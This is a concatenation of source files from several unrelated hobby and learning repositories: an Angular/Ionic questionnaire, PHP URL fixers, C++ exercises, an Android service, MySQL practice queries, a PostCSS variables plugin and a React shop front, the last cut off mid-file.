this.answer.ผลลัพธ์ = 'ไม่รุนแรง หรือ รุนแรงปานกลาง ไม่จำเป็นต้องใช้ยา Antibiotics'; this.answer.เวลา = time; // this.db.list(`Questionnaire/${date}`).push(this.answer).then(() => { // this.navController.navigateForward('assess-ea'); // }); this.db.database.ref(`Questionnaire/${date}`).child(`${time}`).set(this.answer).then(() => { this.navController.navigateForward('assess-ea'); }); break; } } } <file_sep>import { Component, OnInit } from '@angular/core'; import { NavController } from '@ionic/angular'; @Component({ selector: 'app-assess-cb', templateUrl: './assess-cb.page.html', styleUrls: ['./assess-cb.page.scss'], }) export class AssessCbPage implements OnInit { public blood: boolean; public watery: boolean; constructor(private navController: NavController) { } ngOnInit() { } doRefresh(event) { console.log('Begin async operation'); setTimeout(() => { console.log('Async operation has ended'); event.target.complete(); }, 2000); } clickNext() { if (this.blood === true) { this.navController.navigateForward('assess-da'); } if (this.watery === true) { this.navController.navigateForward('assess-db'); } } clickCancel() { this.navController.navigateBack('home2'); } clickBlood() { this.navController.navigateForward('assess-da'); } clickWatery() { this.navController.navigateForward('assess-db'); } }
ace2552cbc99a94525900b577b2dda12c33c647c
[ "TypeScript", "HTML" ]
21
TypeScript
rdubuapp/RDUBU
9db81188d38306a281e674d5dd7ac83af1142fa8
5fea18fd834e4dee1a9aa259c25fc9a799ff30d5
refs/heads/master
<file_sep><?php $input = $argv[1]; $patternIncorrectdomain = '/(?<protocol>http[s]{0,1}):\/{0,1}(?<slashes>\\\\{0,})\/{0,}(?<domain>[^\\\\^\/]{0,})(?<moreslashes>\\\\{0,})\/{0,}(?<path>[^\\\\^\/]{0,})/m'; //checks if correct protocol is given if (preg_match($patternIncorrectdomain, $input, $matches)) { $replacementUrl = "https://" . $matches["domain"] . "/" . $matches["path"]; echo preg_replace($patternIncorrectdomain, $replacementUrl, $input); } else { echo("nothing to replace"); }<file_sep><?php $input = $argv[1]; $patternIncorrectProtocol = "/http/m"; $patternCorrectProtocol = "/https/m"; $patternIncorrectBackslash = "/\\\/m"; $replacementProtocol = "https"; $replacementBackslash = "/"; //checks if correct protocol is given if (preg_match($patternCorrectProtocol, $input)) { if (preg_match($patternIncorrectBackslash, $input)) { echo preg_replace($patternIncorrectBackslash, $replacementBackslash, $input); } else { echo("nothing to replace"); } } else { // replaces http with https $newUrl = preg_replace($patternIncorrectProtocol, $replacementProtocol, $input); //check for \ and replaces them with / if (preg_match($patternIncorrectBackslash, $newUrl)) { echo preg_replace($patternIncorrectBackslash, $replacementBackslash, $newUrl); } else { //check for \ and replaces them with / if https was given from the start if (preg_match($patternIncorrectBackslash, $input)) { echo preg_replace($patternIncorrectBackslash, $replacementBackslash, $input); } else { echo($newUrl); } } }<file_sep># Url-fixer-d951f8d2
092041a899fedd639c49998f14fb341d5c9713b7
[ "Markdown", "PHP" ]
3
PHP
jimmynetor3/Url-fixer-d951f8d2
11fbe38042c50cdce1bc972a21242564faa57798
5859efd557f904598778b4939bf7d87ade19bfb5
refs/heads/master
<file_sep>// // Created by ysnows on 2020/8/14. // #ifndef CPP_PAINTCOST_H #define CPP_PAINTCOST_H class PaintCost { public: double getCost(double area); }; #endif //CPP_PAINTCOST_H <file_sep>// // Created by ysnows on 2020/8/14. // #include "PaintCost.h" double PaintCost::getCost(double area) { return area * 70; } <file_sep>cmake_minimum_required(VERSION 3.15) project(cpp) set(CMAKE_CXX_STANDARD 11) add_executable(cpp main.cpp Line.h Line.cpp Box.cpp Box.h inherit/Shape.cpp inherit/Shape.h inherit/Rectangle.cpp inherit/Rectangle.h inherit/PaintCost.cpp inherit/PaintCost.h StackC.cpp StackC.h ) <file_sep>// // Created by ysnows on 2020/8/14. // #include "Box.h" using namespace std; double Box::getVolume() { return length * breadth * height; } Box::Box() { length = 1024.0; breadth = 21.0; height = 11.0; } Box::Box(double length, double height, double breadth) : length(length), height(height), breadth(breadth) { } Box::~Box() { std::cout << "Object is destroyed" << std::endl; } void printBoxWidth(Box box) { cout << "Box width: " << box.breadth << endl; } int Box::compare(Box other) { return this->getVolume() > other.getVolume(); } double Box::allVolume() { return 1024; } Box Box::operator+(const Box &other) { Box box; box.breadth = this->breadth + other.breadth; box.height = this->height + other.height; box.length = this->length + other.length; return box; } <file_sep>// // Created by ysnows on 2020/8/15. // #include <iostream> using namespace std; template<typename T> inline T const &max(T &a, T &b) { return a > b ? a : b; } void example() { int a = 1; int b = 2; cout << "max(int, int)" << max(a, b) << endl; // cout << "max(double, double)" << max(1.0, 2.0) << endl; } <file_sep>// // Created by ysnows on 2020/8/15. // #include <iostream> class MyException : public std::exception { public: const char *what() const _NOEXCEPT override { return "MyException "; } }; int division(int dividend, int divisor) { if (divisor == 0) { throw MyException(); } return dividend / divisor; } void example() { try { division(10, 0); } catch (MyException &e) { cout << "exception thrown " << e.what() << endl; } } <file_sep>// // Created by ysnows on 2020/8/13. // #ifndef CPP_LINE_H #define CPP_LINE_H #include <iostream> class Line { public: int getLength(void); Line(int length); ~Line(); Line(const Line &line); void printLine(); private: int *ptr; }; #endif //CPP_LINE_H <file_sep>// // Created by ysnows on 2020/8/14. // #include "Shape.h" void Shape::setWidth(double w) { this->width = w; } void Shape::setHeight(double h) { this->height = h; } Shape::Shape(double width, double height) : width(width), height(height) {} <file_sep>// // Created by ysnows on 2020/8/15. // #include <iostream> #include <vector> using namespace std; void example() { vector<int> data; data.reserve(10); for (int i = 0; i < 10; ++i) { data.push_back(i); } cout << "data.size() = " << data.size() << endl; cout << "data[6] = " << data[6] << endl; auto v = data.begin(); while (v != data.end()) { cout << "value = " << *v << endl; v++; } } <file_sep>// // Created by ysnows on 2020/8/15. // #include <iostream> #include <thread> using namespace std; void example() { thread t; } <file_sep>// // Created by ysnows on 2020/8/14. // #include "Rectangle.h" Rectangle::Rectangle(double width, double height) : Shape(width, height) {} double Rectangle::getArea() const { return 0; } <file_sep>// // Created by ysnows on 2020/8/15. // #include "StackC.h" <file_sep>// // Created by ysnows on 2020/8/14. // #ifndef CPP_BOX_H #define CPP_BOX_H #include <iostream> class Box { double length, breadth, height; public: friend void printBoxWidth(Box box); double getVolume(); Box(); Box(double length, double height, double breadth); ~Box(); int compare(Box other); static double allVolume(); Box operator+(const Box &other); }; #endif //CPP_BOX_H <file_sep>// // Created by ysnows on 2020/8/15. // #ifndef CPP_STACKC_H #define CPP_STACKC_H #include <iostream> #include <vector> #include <cstdlib> #include <string> #include <stdexcept> using namespace std; template<class T> class StackC { private: vector<T> list; public: bool empty() const { // 如果为空则返回真。 return list.empty(); } void push(const T &); }; template<class T> void StackC<T>::push(const T &t) { list.push_back(t); } #endif //CPP_STACKC_H <file_sep>// // Created by ysnows on 2020/8/13. // #include <iostream> #include <ctime> using namespace std; void example() { time_t now = time(nullptr); char *timeStr = ctime(&now); std::cout << timeStr << std::endl; tm *t = gmtime(&now); timeStr = asctime(t); std::cout << now << std::endl; std::cout << timeStr << std::endl; } <file_sep>// // Created by ysnows on 2020/8/15. // #include <iostream> #include <fstream> using namespace std; void example() { char buf[1024]; ofstream out; out.open("hello.txt"); cout << "writing to hello.txt" << endl; cout << "enter your name" << endl; cin >> buf; out << buf << endl; cout << "enter your age" << endl; cin >> buf; out << buf << endl; out.close(); ifstream in; in.open("hello.txt"); in.seekg(3, std::ios::end); in >> buf; cout << buf << endl; // in >> buf; // cout << buf << endl; in.close(); } <file_sep>// // Created by ysnows on 2020/8/13. // #include "Line.h" using namespace std; int Line::getLength() { return *ptr; } Line::Line(int length) { cout << "调用构造函数" << endl; ptr = new int; *ptr = length; } Line::~Line() { cout << "释放内存" << endl; delete ptr; } Line::Line(const Line &line) { cout << "调用拷贝构造函数并为指针 ptr 分配内存" << endl; ptr = new int; *ptr = *line.ptr; } void Line::printLine() { cout << "line length is " << getLength() << endl; } <file_sep>// // Created by ysnows on 2020/8/14. // #ifndef CPP_SHAPE_H #define CPP_SHAPE_H #include <iostream> using namespace std; class Shape { public: void setWidth(double width); void setHeight(double height); virtual double getArea() const = 0; Shape(double width, double height); protected: double width, height; }; #endif //CPP_SHAPE_H <file_sep>// // Created by ysnows on 2020/8/15. // #include <iostream> #include <pthread.h> using namespace std; struct ThreadData { int thread_id; char *message; }; void *run(void *arg) { struct ThreadData *pInt = (struct ThreadData *) arg; cout << "Hello World " << pInt->message << "\n" << endl; pthread_exit(nullptr); return nullptr; } void example() { pthread_t th; pthread_attr_t attr; struct ThreadData pInt{}; pInt.thread_id = random(); pInt.message = (char *) "Hello Pthread"; pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); int res = pthread_create(&th, nullptr, run, &pInt); if (res) { cout << "create thread failed" << endl; exit(-1); } pthread_join(th, nullptr); pthread_attr_destroy(&attr); // pthread_exit(nullptr); } <file_sep>// // Created by ysnows on 2020/8/14. // #ifndef CPP_RECTANGLE_H #define CPP_RECTANGLE_H #include "PaintCost.h" #include "Shape.h" class Rectangle : public Shape,public PaintCost { public: Rectangle(double width, double height); double getArea() const override ; }; #endif //CPP_RECTANGLE_H <file_sep>// // Created by ysnows on 2020/8/15. // #include <iostream> #include <csignal> #include <unistd.h> void signalHandler(int sig) { cout << "caught signal: " << sig << endl; exit(sig); } void example() { signal(SIGINT, signalHandler); int i = 0; while (++i) { cout << "sleeping..." << endl; if (i > 3) { raise(SIGINT); } sleep(1); } }
5618493e30f59ee2672c18db4c066d9c5efbb678
[ "CMake", "C++" ]
21
C++
ysnows/cpp_learn
6418c7a1f2bbacc4d013ab0ed8b1ccce4db5809b
defadc9bc7458038d4aa8465795afecd788149cd
refs/heads/master
<repo_name>emmanuelletaylormaher/Database_Exercises<file_sep>/functions_exercises.sql -- Update your query for 'Irena', 'Vidya', or 'Maya'. -- Use count(*) and GROUP BY to find the number of employees for each gender -- with those names. SELECT CONCAT(COUNT(*), " ", gender) FROM employees WHERE ( first_name = "Irena" OR first_name = "Vidya" OR first_name = "Maya" ) GROUP BY gender; -- Update your queries for employees whose names start and end with 'E'. -- Use concat() to combine their first and last name together as a single column in your results. SELECT CONCAT(first_name, " ", last_name) as "full names" FROM employees WHERE last_name LIKE "E%e" ORDER BY emp_no; -- For your query of employees born on Christmas and hired in the 90s, -- use datediff() to find how many days they have been working at the company. SELECT datediff(CURDATE(), hire_date) as "Days working", CONCAT(last_name, ", ", first_name) as "Employee Name" FROM employees WHERE hire_date BETWEEN "1990-01-01" AND "1999-12-31" AND birth_date LIKE "%-12-25" ORDER BY last_name; -- Add a GROUP BY clause to your query for last names with 'q' and not 'qu' to -- find the distinct combination of first and last names. You will find there were some -- duplicate first and last name pairs in your previous results. -- Add a count() to your results and use ORDER BY to make it easier to find employees -- whose unusual name is shared with others. SELECT *, COUNT(*) FROM employees WHERE last_name like "%q%" AND last_name NOT LIKE "%qu%" GROUP BY first_name, last_name ORDER BY first_name;<file_sep>/group_by_exercise.sql -- In your script, use DISTINCT to find the unique titles in the titles table. SELECT DISTINCT title FROM titles; -- Update the previous query to sort the results alphabetically. SELECT title FROM titles GROUP BY title ASC; -- Find your query for employees whose last names start and end with 'E'. -- Update the query find just the unique last names that start and end with 'E' using GROUP BY. SELECT * FROM employees WHERE last_name LIKE "E%e" GROUP BY last_name; -- Update your previous query to now find unique combinations -- of first and last name where the last name starts and ends with 'E'. You should get 846 rows. SELECT * FROM employees WHERE last_name LIKE "E%e" GROUP BY first_name, last_name; -- Find the unique last names with a 'q' but not 'qu'. -- You may use either DISTINCT or GROUP BY. SELECT * FROM employees WHERE last_name like "%q%" AND last_name NOT LIKE "%qu%" GROUP BY last_name; --select count(*) as "employees by gender", gender<file_sep>/join_exercises.sql SELECT d.dept_name as "Department Name", CONCAT(e.first_name, " ", e.last_name) as "Name", s.salary as "Salary" FROM departments as d JOIN dept_manager as dm ON dm.dept_no = d.dept_no JOIN employees as e ON e.emp_no = dm.emp_no JOIN salaries as s ON s.emp_no = e.emp_no WHERE dm.to_date > now() AND s.to_date > now(); SELECT t.title as "Title", COUNT(*) as "Count" FROM titles as t JOIN employees as e ON e.emp_no = t.emp_no JOIN dept_emp as de ON de.emp_no = e.emp_no JOIN departments as d ON d.dept_no = de.dept_no WHERE d.dept_name = "Customer Service" AND de.to_date LIKE "9999%" GROUP BY t.title;<file_sep>/select_demo.sql USE codeup_test_db; -- how to get all rows and all columns SELECT * from albums; -- SELECT specified columns from a table SELECT sales from albums; --selecting multiple columns SELECT name, artist FROM albums; SELECT name, artist, release_date FROM albums; SELECT * FROM albuns WHERE artist = "<NAME>"; SELECT sales from albums WHERE artist = "<NAME>"; SELECT *from albums where release_date > 1990; SELECT artist, name from albums where release_date between 1995 and 1998; --How to select with wildcards, % is the wildcard symbol SELECT * from albums where artist like "%Bruce%";<file_sep>/albums_migration.sql USE codeup_test_db; DROP TABLE IF EXISTS albums; CREATE TABLE IF NOT EXISTS albums ( id INT UNSIGNED NOT NULL AUTO_INCREMENT, artist VARCHAR(128), name VARCHAR(128), release_date YEAR(4), sales FLOAT (10,2), genre VARCHAR(128), PRIMARY KEY (id) );<file_sep>/update_exercises.sql -- Write SELECT statements to output each of the following with a caption: -- All albums in your table. SELECT name AS "All albums in table" FROM albums; -- Make all the albums 10 times more popular (sales * 10) UPDATE albums SET sales = (sales * 10); SELECT * from albums; -- All albums released before 1980 SELECT name AS "Albums before 1980" FROM albums WHERE release_date < 1980; -- Move all the albums before 1980 back to the 1800s UPDATE albums SET release_date = release_date - 100 WHERE release_date < 1980; -- All albums by <NAME> SELECT albums AS "Albums by <NAME>" FROM albums WHERE artist = "<NAME>"; -- Change '<NAME>' to '<NAME>' UPDATE albums SET artist = "<NAME>" WHERE artist = "<NAME>"; SELECT * FROM albums WHERE artist = "<NAME>";<file_sep>/limit_exercises.sql -- List the first 10 distinct last name sorted in descending order. SELECT * FROM employees GROUP BY last_name DESC LIMIT 10; -- Find your query for employees born on Christmas and hired in the 90s -- from order_by_exercises.sql. Update it to find just the first 5 employees. SELECT * FROM employees WHERE hire_date BETWEEN "1990-01-01" AND "1999-12-31" AND birth_date LIKE "%-12-25" ORDER BY birth_date ASC, hire_date DESC LIMIT 5; -- Update the query to find the tenth batch of results. SELECT * FROM employees WHERE hire_date BETWEEN "1990-01-01" AND "1999-12-31" AND birth_date LIKE "%-12-25" ORDER BY birth_date ASC, hire_date DESC LIMIT 5 OFFSET 45;
a37e3a427bc5191f1a16b9610b99dc7be01c8f23
[ "SQL" ]
7
SQL
emmanuelletaylormaher/Database_Exercises
b3546a3c756de26310361325fb7357579db615b4
8ba9234d61749c16ee1b4a0c5b0fbcf300c87c61
refs/heads/master
<file_sep>## 1.0.0 - Upgrade to PostCSS 6. ## 0.0.2 - Fix code coloring on npm readme. ## 0.0.1 - Supports PostCSS 5.x. <file_sep>import * as postcss from 'postcss'; const plugin = 'postcss-nested-vars'; interface Hash<T> { [key: string]: T; } const PostCssNestedVars = postcss.plugin<PostCssNestedVars.Options>(plugin, (options = {}) => { options.logLevel = options.logLevel || 'error'; const errorContext = { plugin }; const specialSearchValue = /\$\(([\w\d-_]+)\)/g; const logMap: { [index: string]: ( message: string, node: postcss.Node, result: postcss.Result ) => void; } = { error(message: string, node: postcss.Node) { throw node.error(message, errorContext); }, warn(message: string, node: postcss.Node, result: postcss.Result) { node.warn(result, message); }, silent() { // noop } }; const log = logMap[options.logLevel]; if (!log) { throw new Error(`Invalid logLevel: ${options.logLevel}`); } const globals: Hash<any[]> = {}; if (options.globals) { Object.keys(options.globals).forEach(key => { globals[key] = [options.globals[key]]; }); } return (root, result) => { walk(root, result, globals); }; function walk( container: postcss.Container, result: postcss.Result, vars: Hash<any> ) { const containerVars: Hash<any> = {}; container.walk(node => { if (node.type === 'rule') { resolveContainer(<postcss.Container>node, 'selector'); return; } if (node.type === 'atrule') { resolveContainer(<postcss.Container>node, 'params'); return; } if (node.type === 'decl') { resolveDeclaration(<postcss.Declaration>node); return; } }); Object.keys(containerVars).forEach(varName => { vars[varName].pop(); }); function resolveContainer(container2: postcss.Container, prop: string) { if ((container2 as any)[prop].indexOf('$(') !== -1) { replaceAllVars(container2, prop, specialSearchValue); } walk(container2, result, vars); } function resolveDeclaration(decl: postcss.Declaration) { if (decl.prop.indexOf('$(') !== -1) { replaceAllVars(decl, 'prop', specialSearchValue); } if (/^\$(?!\()/.test(decl.prop)) { const m = decl.prop.match(/^\$([\w\d-_]+)$/); const varName = m && m[1]; const stack = vars[varName]; if (!stack) { vars[varName] = []; } if (!containerVars[varName]) { containerVars[varName] = true; vars[varName].push(decl.value); } else { stack[stack.length - 1] = decl.value; } decl.remove(); return; } if (decl.value.indexOf('$') !== -1) { replaceAllVars(decl, 'value', /\$([\w\d-_]+)/g); } } function replaceAllVars( obj: postcss.Node, prop: string, searchValue: RegExp ) { (obj as any)[prop] = (obj as any)[prop].replace( searchValue, (m: string, varName: string) => { const stack = vars[varName]; if (!stack || !stack.length) { log(`Undefined variable: ${varName}`, obj, result); return `$${varName}`; } return stack[stack.length - 1]; } ); } } }); namespace PostCssNestedVars { export interface Options { /** * Global variables that can be referenced from any context. */ globals?: { [key: string]: any; }; /** * If a variable cannot be resolved, this specifies how to handle it. * Possible values: error, warn, silent. `warn` and `silent` modes will * preserve the original values (e.g., `$foo` will remain `$foo`). */ logLevel?: string; } } export = PostCssNestedVars; <file_sep># postcss-nested-vars <img align="right" width="135" height="95" title="Philosopher’s stone, logo of PostCSS" src="http://postcss.github.io/postcss/logo-leftp.png"> [![NPM version](http://img.shields.io/npm/v/postcss-nested-vars.svg?style=flat)](https://www.npmjs.org/package/postcss-nested-vars) [![npm license](http://img.shields.io/npm/l/postcss-nested-vars.svg?style=flat-square)](https://www.npmjs.org/package/postcss-nested-vars) [![Travis Build Status](https://img.shields.io/travis/jedmao/postcss-nested-vars.svg)](https://travis-ci.org/jedmao/postcss-nested-vars) [![codecov](https://codecov.io/gh/jedmao/postcss-nested-vars/branch/master/graph/badge.svg)](https://codecov.io/gh/jedmao/postcss-nested-vars) [![Dependency Status](https://gemnasium.com/badges/github.com/jedmao/postcss-nested-vars.svg)](https://gemnasium.com/github.com/jedmao/postcss-nested-vars) [![npm](https://nodei.co/npm/postcss-nested-vars.svg?downloads=true)](https://nodei.co/npm/postcss-nested-vars/) [PostCSS](https://github.com/postcss/postcss) plugin for nested [Sass-like](http://sass-lang.com/guide#topic-2) variables. ## Introduction Instead of assuming all variables are global, this plugin assumes the variable for which you are looking can be found in the current nested container context or in one of its ancestors (i.e., root, rule or at-rule). ```scss $color: red; a { color: $color; $color: white; color: $color; b { color: $color; $color: blue; color: $color; } color: $color; } ``` Transpiles into: ```scss a { color: red; color: white; b { color: white; color: blue; } color: white; } ``` You can also target rule selectors, at-rule params and declaration properties with a special `$(varName)` syntax, same as [`postcss-simple-vars`](https://github.com/postcss/postcss-simple-vars): ```css $bar: BAR; $(bar) {} @media foo$(bar) { foo-$(bar)-baz: qux; } ``` Transpiles into: ```css BAR {} @media fooBAR { foo-BAR-baz: qux; } ``` ### Related Projects - [`postcss-simple-vars`](https://github.com/postcss/postcss-simple-vars) - [`postcss-advanced-vars`](https://github.com/jonathantneal/postcss-advanced-variables) ## Installation ``` $ npm install postcss-nested-vars ``` ## Usage ### JavaScript ```js postcss([ require('postcss-nested-vars')(/* options */) ]); ``` ### TypeScript ```ts import * as postcssNestedVars from 'postcss-nested-vars'; postcss([ postcssNestedVars(/* options */) ]); ``` ## Options ### globals Type: `Object`<br> Required: `false`<br> Default: `{}` Global variables that can be referenced from any context. ### logLevel Type: `string: <error|warn|silent>`<br> Required: `false`<br> Default: `error` If a variable cannot be resolved, this specifies how to handle it. `warn` and `silent` modes will preserve the original values (e.g., `$foo` will remain `$foo`). ## Testing Run the following command: ``` $ npm test ``` This will build scripts, run tests and generate a code coverage report. Anything less than 100% coverage will throw an error. ### Watching For much faster development cycles, run the following commands in 2 separate processes: ``` $ npm run build:watch ``` Compiles TypeScript source into the `./dist` folder and watches for changes. ``` $ npm run watch ``` Runs the tests in the `./dist` folder and watches for changes. <file_sep>import test, { TestContext } from 'ava'; import * as postcss from 'postcss'; import * as plugin from './plugin'; test('transpiles the readme examples into the expected results', macro, `$color: red; a { color: $color; $color: white; color: $color; b { color: $color; $color: blue; color: $color; } color: $color; }`, `a { color: red; color: white; b { color: white; color: blue; } color: white; }` ); test('transpiles the readme examples into the expected results', macro, `$bar: BAR; $(bar) {} @media foo$(bar) { foo-$(bar)-baz: qux; }`, `BAR {} @media fooBAR { foo-BAR-baz: qux; }` ); test('resolves a var declared in the root container', macro, `$foo: FOO; a { bar: $foo; }`, `a { bar: FOO; }` ); test('resolves vars in the same declaration value', macro, `$foo: FOO; $bar: BAR; a { baz: $foo $bar $foo baz; }`, `a { baz: FOO BAR FOO baz; }` ); test('throws when a referenced var is undefined', macro, `a { foo: $bar; }`, /Undefined variable: bar/ ); test('does not resolve a var outside the container\'s ancestors', macro, `a { $foo: FOO; } b { bar: $foo; }`, /Undefined variable: foo/ ); test('overrides vars in the same context', macro, `a { $foo: FOO; bar: $foo; $foo: BAR; baz: $foo; b { qux: $foo; $foo: BAZ; corge: $foo; } garpley: $foo; $foo: QUX; waldo: $foo; }`, `a { bar: FOO; baz: BAR; b { qux: BAR; corge: BAZ; } garpley: BAR; waldo: QUX; }` ); test('restores an original var after leaving the overridden context', macro, `a { $foo: FOO; b { $foo: BAR; baz: $foo; } c { qux: $foo; } }`, `a { b { baz: BAR; } c { qux: FOO; } }` ); test('resolves a var declared and referenced in the same rule', macro, `a { $foo: FOO; bar: $foo; }`, `a { bar: FOO; }` ); test('resolves a deeply nested var', macro, `@a { $foo: FOO; @b { c { d { bar: $foo; } } } }`, `@a { @b { c { d { bar: FOO; } } } }` ); test('resolves to the closest var declaration', macro, `@a { $foo: FOO; @b { $foo: BAR; c { baz: $foo; } } }`, `@a { @b { c { baz: BAR; } } }` ); test('resolves a var within a rule selector', macro, `$bar: BAR; foo$(bar)baz {}`, `fooBARbaz {}` ); test('resolves a var within an at-rule prelude', macro, `$bar: BAR; @a foo$(bar)baz {}`, `@a fooBARbaz {}` ); test('resolves a var within a declaration property', macro, `$bar: BAR; a { foo$(bar)baz: qux; }`, `a { fooBARbaz: qux; }` ); test('ignores comments', macro, '/* $foo */', '/* $foo */' ); test( 'option.globals - sets global variables (i.e., can be read in any context)', macro, `foo:$foo`, `foo:bar`, { globals: { foo: 'bar' }} ); test('option.logLevel: error - is the default setting', macro, 'foo:$foo', /Undefined variable: foo/ ); test('option.logLevel: error - throws when a variable is undefined', macro, 'foo:$foo', /Undefined variable: foo/, { logLevel: 'error' } ); ['warn', 'silent'].forEach(logLevel => { test(`option.logLevel: ${logLevel} - does not throw when a variable is undefined`, macro, 'foo:$foo', 'foo:$foo', { logLevel } ); test(`option.logLevel: ${logLevel} - preserves the original value`, macro, 'foo:$foo', 'foo:$foo', { logLevel } ); }); test('option.logLevel: foo - throws an invalid logLevel error', macro, '', /Invalid logLevel/, { logLevel: 'foo' } ); function macro( t: TestContext, input: string, expected?: string | RegExp, options?: plugin.Options ) { if (expected instanceof RegExp) { t.throws(transpile, expected); return; } t.is( transpile(), stripTabs(<string>expected) ); function transpile() { const processor = postcss([ plugin(options) ]); return processor.process(stripTabs(input)).css; } function stripTabs(input: string) { return input.replace(/\t/g, ''); } }
3c2a37f780314d6e63cda728cdef1e4bbeb2df24
[ "Markdown", "TypeScript" ]
4
Markdown
jedmao/postcss-nested-vars
74f3d0894870db1e95694f01436cc0f3ba621b5c
347fed76ca806b5146057a6ebe9be62fd0afbcfe
refs/heads/master
<file_sep>include ':app', ':annoapp' <file_sep>package yc.com.androidreview; import android.app.Service; import android.content.Intent; import android.os.Binder; import android.os.IBinder; import android.support.annotation.Nullable; import android.util.Log; import android.widget.Toast; import java.lang.ref.SoftReference; public class MyService extends Service { private String tag = "bitch"; @Nullable @Override public IBinder onBind(Intent intent) { Log.i(tag, "onBind()"+"&"+Thread.currentThread()); SoftReference<MyService> ss; return new Binder(){ String getName() { return "ycc"; } }; } @Override public void onCreate() { super.onCreate(); Toast.makeText(MyService.this,"from service",Toast.LENGTH_LONG).show(); Log.i(tag, "onCreate()"); new Thread(){ @Override public void run() { super.run(); for(;;){ // Log.i("bitch", "onCreate()"+Thread.currentThread());//main try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } } } }.start(); } @Override public int onStartCommand(Intent intent, int flags, int startId) { Log.i(tag, "onStartCommand()" ); return super.onStartCommand(intent, flags, startId); } @Override public void onStart(Intent intent, int startId) { Log.i(tag, "onStart()" ); super.onStart(intent, startId); } @Override public void onDestroy() { super.onDestroy(); Log.i(tag, "onDestroy(()"); } }
5498b6b2056039f37fa3d14d308e84c183322bc5
[ "Java", "Gradle" ]
2
Gradle
yccycc/AndroidReview
51251c59e21c5062c97a6196874289c34147ffa5
27cb3a54ef8851c395d95a9bebcee74e21b3d73f
refs/heads/master
<file_sep># Install react app # setting up Prettier + ESLint = ❤️ **Getting started with Eslint** [https://eslint.org/docs/user-guide/getting-started] _Install Eslint_ ``` npm install eslint --save-dev ``` _configuration file_ ``` npx eslint --init ``` **_/extend the recommendation as in this project for .eslint.json/_** _Install husky and lint-staged_ ``` npm i husky lint-staged ``` _Install and config_ ``` npx mrm lint-staged ``` <file_sep>import React, { useState } from 'react' import { Link } from 'react-router-dom' import { Wrapper, Card, CardImage, CardBody, CardTitle, CardPrice, OverlayWrapper, PlusIcon, Button, } from './Products.styles.js' const Products = ({ product, addToCart }) => { const [isHover, setHover] = useState(false) const handleMouseEnter = () => setHover(true) const handleMouseLeave = () => setHover(false) return ( <Wrapper onMouseEnter={() => handleMouseEnter()} onMouseLeave={() => handleMouseLeave()} > {isHover && ( <OverlayWrapper> <PlusIcon onClick={() => addToCart(product)} /> <Link to={`/product/${product.id}`}> <Button>Detail</Button> </Link> </OverlayWrapper> )} <Card> <CardImage src={product.image} alt={product.title} /> <CardBody> <CardTitle>{product.category}</CardTitle> <CardPrice>${product.price}</CardPrice> </CardBody> </Card> </Wrapper> ) } export default Products <file_sep>import React, { useRef } from 'react' import { useOnClickOutside } from '../customHooks/useOnClickOutside' import { CardTitle } from '../products/Products.styles' import { CartCount, CartSideBar, ShopingCartIcon, Wrapper, EmptyCart, SideBarHeader, CardContainer, CardImage, CardBody, CardRemove, CardRow, CardAdd, ClearButton, TotalPrice, } from './Card.styles' const Card = ({ isToggle, setToggle, cartItems, addToCart, onRemovefromCart, setCartItems, totalCartItems, }) => { const sideBarRef = useRef() useOnClickOutside(sideBarRef, () => setToggle(false)) const itemsPrice = cartItems .reduce((a, c) => a + c.qty * c.price, 0) .toFixed(2) return ( <div> <Wrapper onClick={() => setToggle(true)}> <ShopingCartIcon /> {totalCartItems ? <CartCount>{totalCartItems}</CartCount> : ''} </Wrapper> <CartSideBar className={isToggle ? 'expand' : 'shrink'} ref={sideBarRef}> <SideBarHeader>shopping cart</SideBarHeader> {cartItems.length === 0 ? ( <EmptyCart> <h2>Cart is empty</h2> </EmptyCart> ) : ( cartItems.map((item) => ( <CardContainer key={item.id}> <CardImage src={item.image} alt={item.title} /> <CardBody> <CardRow> <CardAdd onClick={() => addToCart(item)} /> </CardRow> <CardRow> <CardRemove onClick={() => onRemovefromCart(item)} /> </CardRow> <CardRow> <CardTitle> {item.qty} x Kr{item.price.toFixed(2)} </CardTitle>{' '} <CardTitle>Kr{(item.qty * item.price).toFixed(2)}</CardTitle> </CardRow> </CardBody> </CardContainer> )) )} <TotalPrice>Total price:Kr{itemsPrice} </TotalPrice> <ClearButton onClick={() => setCartItems([])}>Remove all</ClearButton> </CartSideBar> </div> ) } export default Card <file_sep>import styled from 'styled-components' export const ProductContainer = styled.div` display: flex; flex-direction: row; position: relative; max-width: 1200px; margin: 0 auto; margin-top: 50px; ` export const ProductDetails = styled.div` display: block; margin: 0 8px; padding: 4px; ` export const ProductImage = styled.img` max-height: 300px; ` export const ProductTitle = styled.h1`` export const ProductDescription = styled.p` font-size: 20px; ` export const Price = styled.h3`` export const AddProductButton = styled.button` padding: 5px; ` <file_sep>import React, { useState, useEffect } from 'react' import { BrowserRouter as Router, Switch, Route, Link } from 'react-router-dom' import './App.styles.js' import { MainContainer, NavBar, OverLay, ProductList, LoadingSpinner, HomeIcon, } from './App.styles.js' import Card from './components/cards/Card.js' import GlobalStyles from './GlobalStyles.js' import Products from './components/products/Products.js' import Product from './components/product/Product.js' import useFetch from './components/customHooks/useFetch.js' function App() { const [isToggle, setToggle] = useState(false) const [cartItems, setCartItems] = useState([]) const { products, loading, error } = useFetch( `https://fakestoreapi.com/products`, ) const addToCart = (product) => { const itemExist = cartItems.find((item) => item.id === product.id) if (itemExist) { setCartItems( cartItems.map((item) => item.id === product.id ? { ...itemExist, qty: itemExist.qty + 1 } : item, ), ) } else setCartItems([...cartItems, { ...product, qty: 1 }]) } //remove item from cart const onRemovefromCart = (product) => { const itemExist = cartItems.find((item) => item.id === product.id) if (itemExist.qty === 1) { setCartItems(cartItems.filter((item) => item.id !== product.id)) } else { setCartItems( cartItems.map((item) => item.id === product.id ? { ...itemExist, qty: itemExist.qty - 1 } : item, ), ) } } //method returns value of the specified Storage Object item. useEffect(() => { const localData = localStorage.getItem('cartItems') if (localData) { setCartItems(JSON.parse(localData)) } }, []) //method sets the value of the specified Storage Object item useEffect(() => { localStorage.setItem('cartItems', JSON.stringify(cartItems)) }, [cartItems]) return ( <Router> <GlobalStyles /> <NavBar> <Link to="/"> <HomeIcon /> </Link> {/* to load the Card component only after loading false, other wise Card component render multiple times */} { <Card isToggle={isToggle} setToggle={setToggle} cartItems={cartItems} addToCart={addToCart} onRemovefromCart={onRemovefromCart} setCartItems={setCartItems} totalCartItems={cartItems.length} /> } </NavBar> <MainContainer> <Switch> {isToggle && 